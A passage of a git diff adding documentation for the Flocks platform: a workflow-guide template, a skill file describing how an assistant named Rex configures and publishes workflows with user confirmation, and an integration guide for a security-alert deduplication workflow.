+工作流主要输出这些字段： + +| 字段 | 类型 | 含义 | +| --- | --- | --- | +| `[result]` | object | [最终结果] | +| `[summary]` | string | [摘要] | + +如果工作流会写文件，文件应写入： + +```text +~/.flocks/workspace/outputs// +``` + +不要把报告、调试产物或中间 artifacts 写到项目代码目录。 + +## 6. 发布和配置 + +发布页面不直接从 `workflow.md` 决定展示什么能力，而是读取 `config.json` 模板和数据库中的运行时状态。 + +当前可配置的接入或发布方式： + +- API：[是否支持；路径或用途] +- Syslog：[是否支持；端口、协议、启停说明] +- Kafka：[是否支持；topic、consumer group、启停说明] +- Webhook：[是否支持；回调或接入说明] +- Schedule：[是否支持；触发周期说明] + +编辑发布方式时： + +- 改发布模板：看 `config.json`。 +- 改运行启停状态：看发布页和后端运行时状态。 +- 不要把明文 API Key、密码、token 写进 `workflow.md` 或 `config.json`。 + +## 7. 怎么编辑这个工作流 + +按你想改的目标定位： + +| 修改目标 | 优先修改 | +| --- | --- | +| 输入字段或入口方式 | `[entry_node]` | +| 字段映射或标准化 | `[normalize_node]` | +| 判断、过滤、聚合、分析规则 | `[logic_node]` | +| 输出字段或文件格式 | `[output_node]` | +| 发布方式和接入配置 | `config.json` | +| 流程结构、节点增删 | `workflow.md`，确认后再生成 `workflow.json` | + +修改时的基本原则： + +- 改输入字段，要同步样例输入。 +- 改标准字段名，要同步所有下游节点。 +- 改判断规则，要同步输出说明和验证样例。 +- 改输出格式，要确认下游系统还能读取。 + +## 8. 验证方式 + +最小验证建议： + +1. 用一条正常输入跑通，确认主要输出字段非空。 +2. 用一条边界输入确认异常处理符合预期。 +3. 如果有分支，至少验证每个关键分支一次。 +4. 如果写文件，检查输出路径和文件内容。 +5. 如果有发布配置，确认发布页只展示当前配置启用的能力。 + +验收清单： + +- [ ] 输入能被正确识别和解析。 +- [ ] 每个节点的职责清晰且输出可被下游读取。 +- [ ] 分支、过滤、聚合或分析逻辑符合预期。 +- [ ] 输出字段和文件格式清晰。 +- [ ] `workflow.md` 和 `workflow.json` 描述同一个流程。 +- [ ] 没有明文密钥写入工作流目录。 diff --git a/.flocks/plugins/skills/workflow-config-guide/SKILL.md b/.flocks/plugins/skills/workflow-config-guide/SKILL.md new file mode 100644 index 000000000..20970988c --- /dev/null +++ b/.flocks/plugins/skills/workflow-config-guide/SKILL.md @@ -0,0 +1,164 @@ +--- +name: workflow-config-guide +category: system +ui_hidden: true +description: 配置现有 Flocks 工作流的发布、集成、触发器和发布配置模板；本 skill 只定义交互协议，具体配置问题必须来自工作流目录内的 guide.md +--- + +# Workflow Config Guide + +Use this skill when the user asks to configure, publish, integrate, deploy, or validate an existing Flocks workflow, especially when the task involves publish configuration templates, `config.json` import/fallback, API publishing, Syslog/Kafka/Webhook/Schedule triggers, file input, downstream output, sample validation, or a first-time deployment guide. + +This skill is a protocol layer only. It must not be used as the source of workflow-specific configuration questions or defaults. For every existing workflow, the source of truth for configuration details is the workflow-local `guide.md` file in the same directory as `workflow.md`, `workflow.json`, and optional `config.json`. + +Do not use this skill to create a brand-new workflow from scratch. Use `workflow-builder` for workflow design and generation, then return to this skill when the workflow already exists and needs runtime configuration. + +## Quick Start + +1. Identify the current workflow directory. Prefer the explicit path in the user request; otherwise inspect the active workflow context and project/user workflow roots. +2. Read the workflow-local `guide.md` first. If it is missing or too thin to answer the user's request, stop and use the `question` tool to ask whether to generate or repair `guide.md` from `workflow.md`, `workflow.json`, and `config.json`. +3. Read the workflow files that exist: `workflow.json`, `workflow.md`, optional legacy `config.json`, and `meta.json`. Treat the backend `/api/workflow//config` response as the canonical publish template. If no stored template exists, use `/api/workflow//config/sync` to let the backend migrate the fallback `config.json`. +4. Summarize the current configurable capabilities in plain language, using `guide.md` as the source for workflow-specific modes, defaults, sample requirements, validation, and recommended question order. +5. When any user decision, missing value, preference, or confirmation is needed, call the `question` tool. Do not ask configuration questions in ordinary assistant text. +6. Before changing the publish template, show a unified diff against the canonical backend config, then call the `question` tool for explicit confirmation. That single approval authorizes applying the shown diff through the backend config endpoint; do not ask a second "should I call PUT" question for the same diff. +7. After applying changes, validate JSON syntax and run the lightest useful workflow/config smoke test available. +8. End with a concise report in chat and save a timestamped report under `~/.flocks/workspace/outputs//`, computing `` at execution time. + +## Workflow-local Guide Contract + +Each workflow that can be configured by Rex should include: + +```text +/ + workflow.md + workflow.json + config.json # optional import/fallback publish template + guide.md # workflow-specific configuration guide +``` + +`guide.md` must answer these questions for this workflow, in the workflow's own domain language: + +- What problem the workflow solves and which runtime paths are supported. +- What information must be collected from the user before configuration can be applied. +- Recommended defaults and safe fallback behavior. +- Which values are runtime state in Storage/SQL rather than editable template fields. +- Sample input requirements and the lightest validation method. + +`guide.md` should not contain a UI button table. If a user clicks a guide shortcut, treat the shortcut label as an intent hint, read `guide.md`, semantically extract the relevant guidance, defaults, constraints, examples, and validation rules, then ask the single next useful question with the `question` tool. If no relevant guidance exists, say that the workflow guide is missing that detail and ask whether to repair `guide.md`. + +## Configuration Contract + +Treat the publish configuration template as a workflow runtime/publish template, not as a second copy of workflow code. The canonical template is stored in Storage/SQL under the backend workflow config endpoint. A workflow-local `config.json` is only an import/fallback artifact: when the backend has no stored template, it may read `config.json` once and migrate that content into Storage/SQL. + +- If the stored template declares only API publishing, the publish page should expose only API publish controls. +- If the stored template declares only Syslog, Kafka, Webhook, or Schedule triggers, the publish page should expose only that trigger's start/stop or enable/disable controls. +- Do not store plaintext secrets in the template; store booleans such as `apiKeyConfigured` or secret-manager references. +- Never edit workflow-local `config.json` to apply a publish, input, or trigger configuration. It is a fallback import template only. +- Treat the template as display/intent only. Real enabled/running/stopped state must come from runtime APIs backed by Storage/SQL, never from editing a template file directly. +- Do not modify workflow node code while applying runtime configuration unless the user explicitly asks for a code change. +- Re-running with the same answers should be idempotent: no changes, or a small diff limited to comments/timestamps. + +## Conversation Pattern + +Guide the user from "I have this workflow" to "I know what is configured and what I still need to do". + +Ask decisions in the order specified by `guide.md`, using one `question` tool call per step. If `guide.md` has no order, use the clicked shortcut as the current step and ask only the single most relevant question for that shortcut. The generic categories below are only fallback headings for organizing a guide file, not universal workflow defaults: + +1. **Input mode** +2. **Source system or data shape** +3. **Output destinations** +4. **Filtering or business defaults** +5. **Validation sample** +6. **Apply or draft** + +### Mandatory Question Tool Rule + +The `question` tool is mandatory for this skill. Any time you need the user to choose, confirm, approve a diff, provide a missing value, decide whether to change another file, or answer a follow-up, stop prose and call `question`. + +- Ordinary assistant text may summarize the current state, explain a proposed diff, or report results. It must not contain actionable questions such as "要不要...", "是否...", "请确认...", or numbered follow-ups like "第二个问题...". +- If `question` is not available in the tool list, say that the configuration guide cannot continue interactively until the `question` tool is available. Do not fall back to inline chat questions. +- Use one question card per turn. Do not ask several independent decisions in a single text paragraph. +- For diff approval, show the diff first, then call `question` with choices such as "应用上面的 diff", "只保存草稿", and "暂不修改". If the user chooses to apply the shown diff, immediately apply it through the backend config endpoint; do not ask an extra confirmation that only repeats the same side effect. +- For side-effect scope questions, such as "是否顺手修改 workflow.md", call `question`; do not ask in prose. + +Rule anchor: never make a configuration question choice-only. + +Never make a configuration question choice-only. Every Question-tool prompt used by this skill must include a way for the user to type a custom answer: + +- Prefer a `type: "text"` question when the answer may be a hostname, port, topic, path, payload shape, product name, or any value not safely covered by fixed options. +- If you provide a `type: "choice"` question for recommended modes, also include a short `type: "text"` follow-up such as "Custom value or notes" with a placeholder that explains what the user can type. If the user has no custom value, allow them to enter "none". +- Do not force the user into only API/Syslog/Kafka/Webhook/Schedule choices; custom integration modes, source products, output destinations, and deployment notes must be expressible in free text. + +Do not use the Question tool to collect long JSON, field lists, or credentials. + +Good pattern after showing a diff: + +```json +{ + "questions": [ + { + "header": "确认应用", + "question": "是否应用上面的发布配置 diff?", + "type": "choice", + "options": [ + {"label": "应用 diff", "description": "通过后端配置接口写入 Storage/SQL。"}, + {"label": "只保存草稿", "description": "不改运行配置，只写到输出目录。"}, + {"label": "暂不修改", "description": "停止本次配置变更。"} + ] + }, + { + "header": "补充说明", + "question": "如需限制范围或补充要求，请输入；没有则填 none。", + "type": "text", + "placeholder": "none" + } + ] +} +``` + +## Applying Publish Configuration + +When the user approves an apply: + +1. Read and preserve the previous canonical template from `GET /api/workflow//config`. +2. If the response says no stored template exists, call `POST /api/workflow//config/sync` so the backend migrates the fallback file or creates a generated template. +3. Deep-merge the selected values into the existing config shape where possible. +4. Prefer the backend template endpoint: `PUT /api/workflow//config` with the full proposed config object as the JSON body. +5. Use the response's `config` as the saved template and `runtime` as the current effective state; do not infer runtime state from template `enabled` fields. +6. If the endpoint is unavailable, save a draft under `~/.flocks/workspace/outputs//` instead of changing `config.json`, and clearly state that the change was not applied, not published, and not started. +7. Validate with a JSON parser. +8. Verify the publish page or config endpoint returns the saved template from Storage/SQL. +9. Run a smoke test with `metadata.sampleInputs`, `workflow.json` sample inputs, or the user's pasted sample when a safe local test is available. +10. If validation fails, restore the previous template through `PUT /api/workflow//config` and report the exact failure. + +If the user says "publish as API", "Syslog input", "Kafka input", "Webhook input", or "Schedule" from the Publish page, treat it as a guided configuration intent: + +- First identify whether the user wants to declare/change the template, start/stop runtime state, or both. +- For template changes, use `GET /config` -> diff -> question confirmation -> `PUT /config`. +- For runtime actions, use the runtime endpoint after template confirmation, such as `/publish`, `/unpublish`, `/syslog-config`, `/kafka-config`, `/poller-config`, or `/triggers`. +- If the backend is unreachable, do not say "the user should publish later in the WebUI" as if the requested action succeeded. Save a draft and report the exact blocker. + +When the user wants to start, stop, enable, disable, publish, or unpublish a capability, do not edit the template. Use the runtime endpoint for that capability, such as `/publish`, `/unpublish`, `/syslog-config`, `/kafka-config`, `/poller-config`, or `/triggers`. + +If the user chooses draft mode, save the proposed config under `~/.flocks/workspace/outputs//` and list the path in the final report. + +## Report Requirements + +The final report must include: + +- Workflow id, workflow directory, Storage/SQL config source, and optional fallback `config.json` path. +- What was configured by the guide. +- What remains for the user to do, including upstream forwarding, API key/secret setup, broker/channel details, firewall/port needs, and production validation. +- Sample validation result if a sample was provided. +- Full final config or draft path. +- Smoke test results or a clear reason the smoke test was skipped. + +Do not look for skill-relative `references/` files during workflow configuration. Workflow-specific details must come from the current workflow's own `guide.md`; this prevents loading stale generic instructions or resolving a project-level skill path as a user-level path. + +## Safety Rules + +- Never ask the user to paste credentials in chat. +- Never enable broad/audit outputs without explicit user opt-in. +- Never clear persistent dedup/state files without explaining the consequence and getting confirmation. +- Never claim production readiness until a sample or smoke test has passed, or explicitly mark the setup as unvalidated. +- Be explicit when field mappings are inferred rather than confirmed. diff --git a/.flocks/plugins/skills/workflow-config-guide/references/stream-alert-dedup-integration-guide.md b/.flocks/plugins/skills/workflow-config-guide/references/stream-alert-dedup-integration-guide.md new file mode 100644 index 000000000..66434f327 --- /dev/null +++ b/.flocks/plugins/skills/workflow-config-guide/references/stream-alert-dedup-integration-guide.md @@ -0,0 +1,471 @@ +# Rex Integration Guide: stream_alert_dedup + +> Purpose: This document is injected into Rex when the user opens the workflow Integration tab and starts the intelligent configuration guide. Rex should use it as product/context knowledge, then guide the user step by step with conversational questions and the Question tool. + +## 1. Guide Goal + +Help a user deploy `stream_alert_dedup` in a new environment with new alert data. + +The guide leads the user from "I have a workflow" to "I know exactly what to do next": + +- I picked how alerts enter the workflow. +- I picked the alert source product so fields are auto-mapped. +- I picked where filtered alerts should go (local files, Kafka, IM push, or a mix). +- I confirmed or tweaked the denoise and dedup defaults. +- I pasted one sample and confirmed it normalizes correctly. +- The workflow's `config.json` was updated to reflect my choices (workflow reads it at runtime via the shared `config_loader.py` helper), or a draft was saved if I wanted to apply later. +- I got a final report that lists every configuration, every workflow file change, and every remaining step I need to take on my side (device forwarding, ports, downstream bridges, credentials, etc.). + +The guide is not a static document. It drives an interactive setup conversation in the Integration tab. + +Core principle: **default-everything**. The user is not a security engineer. Rex always proposes a default and only asks the user to confirm or tweak. Technical knobs (syslog protocol, LSH fields, Jaccard threshold, source_log_type plumbing, Kafka brokers, IM session ids) are hidden behind a single "use default / show me details" choice. The user only ever answers questions at the level of "do you want the default?" or "which product are you using?" or "where do you want alerts to go?". + +## 2. Workflow Background + +`stream_alert_dedup` is a streaming alert deduplication workflow. + +Pipeline: `receive_alert -> normalize -> filter_logs -> dedup_and_write`. + +- Receives alerts from syslog single-message mode, API batch mode, or file mode. +- Normalizes TDP and Skyeye-like alerts into a unified schema. Custom products fall back to a generic mapping. +- Filters out scanner and non-HTTP noise by default, keeps inbound/outbound/lateral HTTP alerts. +- Deduplicates with strict fields plus MinHash LSH fuzzy fields, persisted across batches. +- Writes enriched alert JSONL files under the workflow workspace directory. +- Adds `dedup_key`, `is_duplicate`, `_lsh_cluster_id`, `_source_type`, `_process_type`, `_threat_type`. +- Output destinations are external: the workflow always writes JSONL locally; Kafka republish and IM push are achieved via downstream bridges that read the JSONL. + +Known note: the installed directory may be named `stream_alert_denoise`, but the workflow identity is `stream_alert_dedup`. + +## 3. Recommended Conversation Flow + +Rex must not ask all questions at once. Use the steps below, one decision at a time. **Each step ends with a Question tool call.** Each default is auto-applied if the user says "use default". + +### Step 1: Pick input mode + +How alerts enter the workflow. One question, four options. + +- **Syslog (real-time stream)** — security device forwards one alert per Syslog message. Most common. Requires the workflow to enable its built-in syslog receiver. +- **API batch** — upstream calls the workflow HTTP API with a list of alerts. Good for batch import or testing. +- **Kafka (real-time stream)** — upstream publishes alerts to a Kafka topic. Requires a small consumer/bridge that pulls each message and invokes the workflow API. Rex can draft the bridge script on request. +- **File** — a JSON file of alerts is dropped in. Good for one-shot replay or offline analysis. + +After the user picks, Rex says one sentence on what changes (e.g. "OK, we'll set up a syslog receiver on UDP 5140" or "OK, you'll need a Kafka consumer that calls the workflow API — I'll list the parameters you need in the report at the end") and moves on. + +For Kafka mode, Rex follows up in plain chat (not via Question tool) to collect: brokers, topic, consumer group, auth mode, message format (raw JSON / envelope / Avro / Protobuf / text), and whether the user wants Rex to generate the consumer bridge. + +### Step 2: Pick alert source product + +Which product is generating the alerts. This drives the field mapping in the `normalize` node. + +- **TDP / 威胁检测平台** — microstep TDP or compatible NDR. Default mapping already covers `net_http_url`, `threat_name`, etc. +- **天眼 / SkyEye** — Sangfor SkyEye style fields like `uri`, `vuln_name`, `attack_result`. +- **Other / Custom** — none of the above; will use a generic best-effort mapping and ask the user to confirm one sample. + +Rex then notes: "If your product isn't listed, pick Other — we'll match as much as we can and you'll see the gaps in the final report." + +### Step 3: Pick output destinations + +Where filtered alerts go after dedup. **Local storage is always on** (the workflow always writes JSONL files). The question is what additional destinations to set up. + +Default: **local storage only**. The workflow drops enriched alerts into `~/.flocks/workspace/workflows/stream_alert_dedup//dedup_result_*.jsonl`. Nothing more to set up. + +Options (Rex reads them as multi-select when possible): + +- **Local storage only (default)** — JSONL files only. Good for offline analysis or downstream pipelines that read files. +- **Local storage + Kafka** — alerts also get republished to a Kafka topic. You provide brokers, topic, optional key field. +- **Local storage + IM push** — alerts get pushed to WeCom / Feishu / DingTalk. You provide channel type and session. +- **Local storage + Kafka + IM push** — all of the above. +- **Custom downstream** — alerts feed into another workflow I already have. + +Rex then asks one follow-up about **what to send** (default: only filtered-in alerts, not dropped or duplicates): + +- **Filtered-in alerts only (default)** — everything that passed denoise and dedup, written to JSONL and forwarded. +- **Filtered-in unique only** — skip duplicates, only first occurrences. Good for SOC ticket creation. +- **Audit mode** — also write the dropped and merged alerts to a separate JSONL, for forensics. Use only when investigating; the writer emits `_audit_reason: filtered_out | dedup_merged`. + +Rex then says: "By default the workflow only emits alerts that survived filtering. If you choose audit mode, dropped and duplicate alerts are written to a sibling file for forensics." + +### Step 4: Confirm denoise strategy + +Show the user the default in plain language, ask whether to keep it. The user does not see `filter_enabled`, `process_type`, or HTTP protocol detection — they only see behavior. + +Default behavior: + +> Keep alerts that look like real web attacks: HTTP traffic, with a clear direction (inbound, outbound, or lateral). Drop scanner traffic and non-HTTP noise. + +Options: + +- **Use default** — recommended for almost everyone. +- **Tighten** — keep only inbound HTTP (drop outbound and lateral). Use for internet-facing SOC. +- **Loosen** — keep everything, no filtering. Use during initial validation only. +- **Show me the details** — Rex explains the 9 process_type categories in plain language and lets the user pick. + +### Step 5: Confirm dedup strategy + +Show the default in plain language. The user does not see `strict_fields`, `lsh_fields`, `threshold`, or `max_dedup_keys`. + +Default behavior: + +> Two alerts are duplicates when they come from the same attacker to the same target, with similar HTTP URL and body. The system learns over time and remembers across batches. + +Options: + +- **Use default** — recommended for web attack alerting. +- **Tighter** — only merge when the URL and request body are nearly identical. Use when unrelated alerts are being merged. +- **Looser** — merge more aggressively on weaker evidence. Use when obvious duplicates are slipping through. +- **Target-centric** — group by target + rule, ignore attacker. Use for SOC playbooks that care about "what's hitting this asset". +- **Show me the details** — Rex explains strict vs fuzzy fields and Jaccard threshold in plain language. + +### Step 6: Validate with one real sample + +Rex asks the user to paste one representative raw alert. The user can choose: + +- **I'll paste a real alert** — Rex parses it, reports: + - Which fields were auto-mapped to the standard schema. + - Which fields were unknown and ignored. + - What the normalized alert looks like. + - What the dedup_key would be. +- **I don't have a sample yet** — Rex marks the integration as "configured but unvalidated" and lists this in the final report as a follow-up. No failure. + +If the user pastes a sample, Rex must verify: + +1. `raw_count` is at least 1. +2. Required fields (`sip`, `dip`, `req_http_url`, `threat_name`) are present after normalization. If not, Rex calls them out in the report and suggests what to do (most often: pick "Other" in Step 2 and provide a custom mapping, or fix the upstream source). +3. The dedup_key looks reasonable (non-empty string). +4. The same alert pasted a second time would get `is_duplicate=true` (Rex can simulate this in plain language). + +### Step 7: Apply configuration to config.json + +After all decisions are collected and the sample is validated, Rex applies the configuration to **`~/.flocks/plugins/workflows/stream_alert_denoise/config.json`** — the persistent config file the workflow reads at runtime via the shared `config_loader.py` helper. The workflow code itself is NOT modified in this step (it already knows how to read config); only `config.json` is updated. + +**7.1 Compute the new config** + +Rex reads the current `config.json` (if any), deep-merges the chosen values, and produces the target config dict. Fields Rex writes based on prior steps: + +| Field | Source | Notes | +|---|---|---| +| `input_mode` | Step 1 | `syslog` / `api` / `kafka` / `file` | +| `source_product` | Step 2 | `tdp` / `skyeye` / `custom` | +| `denoise.strategy` | Step 4 | `default` / `tighten` / `loosen` / `custom: ...` | +| `denoise.filter_enabled` | Step 4 | Derived from `denoise.strategy` | +| `dedup.strategy` | Step 5 | `default` / `tighter` / `looser` / `target_centric` / `custom: ...` | +| `dedup.dedup_enabled` | Step 5 | Derived from `dedup.strategy` | +| `dedup.threshold` | Step 5 | Derived from `dedup.strategy` | +| `dedup.strict_fields` | Step 5 | Derived from `dedup.strategy` | +| `dedup.lsh_fields` | Step 5 | Derived from `dedup.strategy` | +| `dedup.max_field_len` | Step 5 | 500 default, only written if user changes it | +| `dedup.max_dedup_keys` | Step 5 | 100000 default, only written if user changes it | +| `dedup.emit_only_first_occurrence` | Step 5 | `true` default, only written if user changes it | +| `output.destinations` | Step 3 | `["local"]` + selected extras | +| `output.scope` | Step 3 | `filtered_in` / `filtered_in_unique` / `audit` | + +Rex also rewrites the `_comment` field to include the strategy summary. + +**7.2 Show the diff and get confirmation** + +1. Rex shows a unified diff in chat for `config.json` only (the workflow code is not touched). The diff is plain text, not applied to disk yet. +2. Rex asks (Question tool, 2 options): "Apply these changes to config.json?" + - **Apply** — write to disk, run validation, run smoke test, then move to Step 8. + - **Save as draft, don't apply** — keep the diff as a pending draft, skip the smoke test, mark in the report as "configuration not yet applied". + +**7.3 Apply and verify (only on Apply)** + +3. Rex uses `edit`/`write` to update `config.json` in place. +4. Rex runs `python3 -c "import json; json.load(open())"` for JSON syntax validation. +5. Rex calls `config_loader.reload_config()` then `config_loader.get_config()` in a one-off Python invocation to confirm the helper reads the new file correctly. +6. Rex runs a smoke test via `run_workflow` (or `run_workflow_node` per node if `run_workflow` is too heavy) with `metadata.sampleInputs` from `workflow.json` (the built-in mock sample) OR the user's pasted sample. All four nodes must return `success=true` with non-empty key outputs. +7. If any check fails, Rex reverts `config.json` (re-reads the prior content from the diff) and reports the failure in the final report. The user is asked to retry or fall back to draft. + +**7.4 Idempotency** + +- Re-running the guide with the same answers must produce a no-op or trivial diff (only the `_comment` summary line might change). +- Re-running the guide with different answers must produce a clean diff that reflects only the new choices; old `strategy: "default"` must not stack on top of new `strategy: "tighten"`. +- `config_loader` reads config lazily on first call, so re-running the workflow after a config change picks up the new values; no workflow restart is required. + +If the user declines in 7.2, Rex saves the configuration as a pending draft to `~/.flocks/workspace/outputs//stream_alert_dedup_pending_config.json` and lists it in section B of the final report as something the user can apply later. + +### Step 8: Final report + +Rex writes a single end-of-conversation report (in chat AND to `~/.flocks/workspace/outputs//stream_alert_dedup_integration_.md`). The report has three clearly separated sections: + +**A. Configurations made by this guide (you don't need to do these)** + +- Input mode, source product, denoise strategy, dedup strategy, with the actual values plugged in. +- Output destinations and scope (which alerts are emitted where). +- Field mapping draft (raw field → standard field → confidence). +- Sample validation result (if user provided one). +- **config.json applied (if Step 7.3 ran)**: + - Path: `~/.flocks/plugins/workflows/stream_alert_denoise/config.json` + - Full final config (every field, with chosen values). + - Smoke test result for all four nodes (`success/fail + duration_ms`). +- **Pending draft (if Step 7 was skipped)**: + - Path to the saved draft JSON. + - One-line summary of what would change. + +**B. What you still need to do, and what info you need to do it** + +For each remaining step, the report gives: + +- The exact action. +- The exact info the user must collect (with copy-pasteable templates). +- The exact command / config snippet they will run. + +Examples of remaining steps that the report must cover (the input-mode subsections and the output-mode subsections are independent and only the ones the user picked appear): + +- **Syslog mode (input)**: device forwarding target (host:port), protocol, app_name/hostname expectations, sample message body template. +- **API mode (input)**: workflow invoke URL, API key location (reference to secret manager, never paste in chat), sample request body. +- **Kafka mode (input)**: broker addresses, topic, consumer group, auth mode, message format, offset strategy, retry/DLQ guidance, and an optional bridge script for Rex to generate. +- **IM push mode (output)**: channel type, session id, message format, rate limit guidance, sample message template. +- **Custom product**: which fields failed to map, and what custom mapping needs to be added to the `normalize` node (Rex drafts the code change but does not apply it without explicit user confirmation). +- **Validate in production**: a 3-step smoke test checklist. +- **State hygiene**: when the LSH state file will be created, how to clear it, when not to clear it in production. + +Rex ends with one sentence: "All set on my side. The remaining items are listed in section B. If you skipped applying in Step 7, the draft config is saved at the path in section A. Once you finish B, paste one real alert here and I'll re-validate." + +## 4. Question Tool Usage Pattern + +Use the Question tool for any decision point with 2-4 clear options. Always include a "use default" option for technical defaults. Never use Question tool for: + +- Asking the user to paste JSON (use plain chat). +- Asking the user to enumerate field names (use plain chat, or break it down). +- Collecting secrets or credentials (redirect to secret manager). + +When the user picks a custom / non-default option, Rex follows up with one plain-language explanation of what changes, then moves to the next step. Never chain two Question calls in one message. + +For Step 3 (output destinations), use the multi-select variant when the UI supports it; otherwise list them in one question with the user expected to type the destinations they want. + +## 5. Output Report Template + +Rex uses this template for the final report. The report is shown in chat and saved to disk. + +```markdown +# stream_alert_dedup 集成报告 + +生成时间: +workflow: stream_alert_dedup + +## A. 已完成的配置（你无需操作） + +- 输入模式: +- 告警源产品: +- 输出目的地: +- 输出内容范围: +- 降噪策略: +- 去重策略: +- 默认字段映射: standard, table form> +- 样例验证: + - 输入字段数: N + - 归一化后字段: sip, dip, req_http_url, ... + - 缺失/未知字段: ... + - 模拟二次出现 is_duplicate: true/false + +## B. 你还需要做什么 + +### B.1 设备/上游侧配置 + + + +#### Syslog 模式 +- 在 上配置 syslog 转发: + - 目标地址: : ← 在工作流发布后由工作流 API 给出 + - 协议: + - 一条告警对应一条 Syslog 事件 + - message 字段必须是完整 JSON 字符串, 不可截断 +- 防火墙: 放通 UDP/TCP 5140 入站 +- 样例 message 模板: + ``` + {"id":"...","net":{"http":{"url":"..."}},"threat":{"name":"..."}} + ``` + +#### API 模式 +- 工作流发布后, 上游调用: POST /api/workflow//run +- 请求体: {"inputs": {"alerts": [...], "source_log_type": "tdp"}} +- API key: 存到 Flocks secret manager, 名称: +- 样例请求体: + ```json + { "inputs": { "alerts": [...], "source_log_type": "tdp" } } + ``` + +#### Kafka 模式 +- 你需要: 部署一个轻量消费者/桥, 从 Kafka topic 拉消息, 调工作流 API +- 消费者输入(部署前要准备好): + - brokers: + - topic: <如 alerts.raw> + - consumer group: <如 stream-alert-dedup-bridge> + - 认证: + - 消息格式: + - offset 策略: + - 期望吞吐: 与 允许重试: +- 消费者输出: 解析消息为 JSON 对象, 调工作流 API + - 单条: POST /api/workflow//run body={"inputs":{"alerts":[msg]}} + - 批量(可选): 累积 N 条 / T 秒 合并为 alerts 列表 +- 建议: 首次只取 N 条消息做验证, 通过后再放开 +- 是否需要 Rex 生成消费者桥脚本: <是 | 否 | 已生成待你确认> +- 桥脚本存放位置: ~/.flocks/workspace/outputs//kafka_bridge_.py +- 部署方式: + +### B.2 输出目的地配置 + + + +#### 本地存储（默认，始终开启） +- 落盘目录: ~/.flocks/workspace/workflows/stream_alert_dedup// +- 文件名: dedup_result_001.jsonl, 002.jsonl, ...（每文件 10000 条上限） +- 首行为 file_header, 之后是 enriched_alert 行 +- 审计模式: 另写 dedup_audit_001.jsonl, 含 _audit_reason 字段 + +#### Kafka 推送（若选了） +- 模式: 部署一个轻量消费者/桥, 监听本地 JSONL, 转发到 Kafka +- 你需要提供: + - brokers: + - topic: <建议名, 如 alerts.dedup> + - key 字段: <建议 dedup_key, 保证同一去重簇落同一分区> + - 认证: +- 消息格式: 一条 enriched_alert 一条 Kafka 消息（JSON 序列化） +- 限流建议: 一次性消费最多 100 行, 避免 OOM +- 重试与 DLQ: 消费者自己负责, 工作流只保证 JSONL 落盘 +- 是否需要 Rex 生成消费者脚本: <是 | 否 | 已生成待你确认> + +#### IM 推送（若选了） +- 模式: 部署一个 watcher workflow, 监听 JSONL 文件变化, 调用 channel_message +- 你需要提供: + - channel_type: + - session_id: <从 IM 客户端获取, 不要在聊天里贴> + - 限流: <默认每批 ≤ 5 条, 间隔 30s, 可调> +- 样例消息模板（按 enriched_alert 字段填充）: + ``` + [stream_alert_dedup] 检测到 1 条告警 + - 来源: : -> : + - 威胁: / + - 方向: | 协议: + - 去重键: + - 时间: